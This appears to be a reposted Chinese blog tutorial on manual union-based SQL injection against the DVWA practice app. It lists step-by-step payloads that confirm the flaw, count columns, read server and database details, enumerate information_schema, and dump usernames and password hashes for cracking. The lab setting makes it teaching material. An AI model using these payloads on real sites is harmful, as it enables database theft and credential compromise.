博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
Kali学习笔记39:SQL手工注入(1)
阅读量:4704 次
发布时间:2019-06-10

本文共 2096 字,大约阅读时间需要 6 分钟。

终于到了SQL注入

最大的、最经典的、最常见的Web漏洞就是SQL注入漏洞

SQL注入的原理这里就不说了,百度

 

打开DVWA,SQL注入测试模块

 

测试单引号,发现出错,于是想到测试语句:

1' or '1'='1

成功:

 

 

测试是否存在漏洞:

1' and '1'='1  如果返回数据,但是1' and '1'='0 不返回数据,代表存在sql注入

或者简易一些:1' and '1 返回但是1' and '0不返回数据

 

进一步:

猜测当前SQL语句总共查询了多少字段:

' order by 50 -- 

注意--后边必须跟一个空格,--作用是注释最后一个单引号,必须跟空格

首先猜测50过大会报错:

Unknown column '50' in 'order clause'

然后继续猜测小于五十的数:

直到我猜测到2

当我把这里修改成2后,提交没有任何反应

于是得出结论:查询了两个字段,源码验证sql语句为:

SELECT first_name, last_name FROM users WHERE user_id = '$id'

猜测成功,查询了两个字段

 

接下来我想在后边加入select语句来执行查询命令:

不过两个select语句连在一起是不允许的

于是想到使用联合查询(union)

注意:--跟上空格

 

这时候可以进一步确定:firstname为第一个字段,surname是第二个字段

 

既然知道了1,2对应的位置,那么就可以使用SQL函数来查询其他信息:

比如这里我查询到了数据库当前的用户

再使用:' union select user(),version() -- 

可以查到数据库版本:

联系日常经验:5版本的数据库不会是MSSQL或者Oracle

最流行的5版本数据库就是MySQL

 

查询当前数据库:database函数

' union select user(),database() -- 

 

 

使用全局函数:

' union select user(),@@datadir -- 

 

类似地:

' union select user(),@@hostname -- 

 

查询操作系统:

' union select user(),@@version_compile_os -- 

 

切分字符串的功能:

' union select null,substring_index(USER(),"@",1) --

这句话的意思是查出来user信息,然后以@分隔开,取前一部分

 

有时候我们提交的字符会被服务器过滤,于是可以使用SQL的CHAR函数进行ASCII码转换

如果我们需要查很多的函数,而显示的位置很好,可以联合函数CONCAT_WS

使用一个稍复杂的SQL语句:

' union select CONCAT_WS(CHAR(32,58,32),user(),database(),version()),null -- 

这里的CHAR(32,58,32)是空格冒号空格,方便显示

 

 

MySQL的数据存储相对简单,有一个元数据表infotmation_schema表

于是可以利用这张表查询数据库的很多信息:

 

查询所有库里面的所有表:

' union select table_name,table_schema from information_schema.tables -- 

找到了dvwa库里面的很多表:

 

查询每一个库有多少表:

' union select table_schema,count(*) from information_schema.tables group by table_schema -- 

 

只针对dvwa库进行查询:

' union select table_name,table_schema from information_schema.tables where table_schema='dvwa' -- 

 

查询dvwa库中users表都有哪些字段:

' union select table_name,column_name from information_schema.columns where table_schema='dvwa' and table_name='users' -- 

 

知道了有user和password两列,我们就可以直接进行查询了:

' union select user,password from dvwa.users -- 

查到了所有的用户名和加密的密码

使用concat来改一下显示格式也行:

' union select null,concat(user,0x3a,password) from dvwa.users -- 

 

加密的密码根据长度猜测为MD5加密

也可以使用Kali的hash-identifier来验证:

 

于是考虑如何解密:把这些指定格式的用户名密码复制出来,弄到一个文本中

 

破解成功:

转载于:https://www.cnblogs.com/xuyiqing/p/10358537.html

你可能感兴趣的文章
定义列属性:null,default,PK,auto_increment
查看>>
用户画像展示
查看>>
C#中StreamReader读取中文出现乱码
查看>>
使用BufferedReader的时候出现的问题
查看>>
批处理文件中的路径问题
查看>>
hibernate出现No row with the given identifier exists问题
查看>>
为什么wait()和notify()属于Object类
查看>>
配置NRPE的通讯
查看>>
匹配两个空格之间的字符。。。
查看>>
CSS 文字溢出 变成省略号 ...
查看>>
Spring事务
查看>>
java编程基础(三)流程控制语句
查看>>
让数据库跑的更快的7个MySQL优化建议
查看>>
jquery 取id模糊查询
查看>>
解决在vue中,自用mask模态框出来后,下层的元素依旧可以滑动的问题
查看>>
PAT(B) 1014 福尔摩斯的约会(Java)
查看>>
PAT甲级题解-1123. Is It a Complete AVL Tree (30)-AVL树+满二叉树
查看>>
项目开发总结报告(GB8567——88)
查看>>
SSH加固
查看>>
端口扫描base
查看>>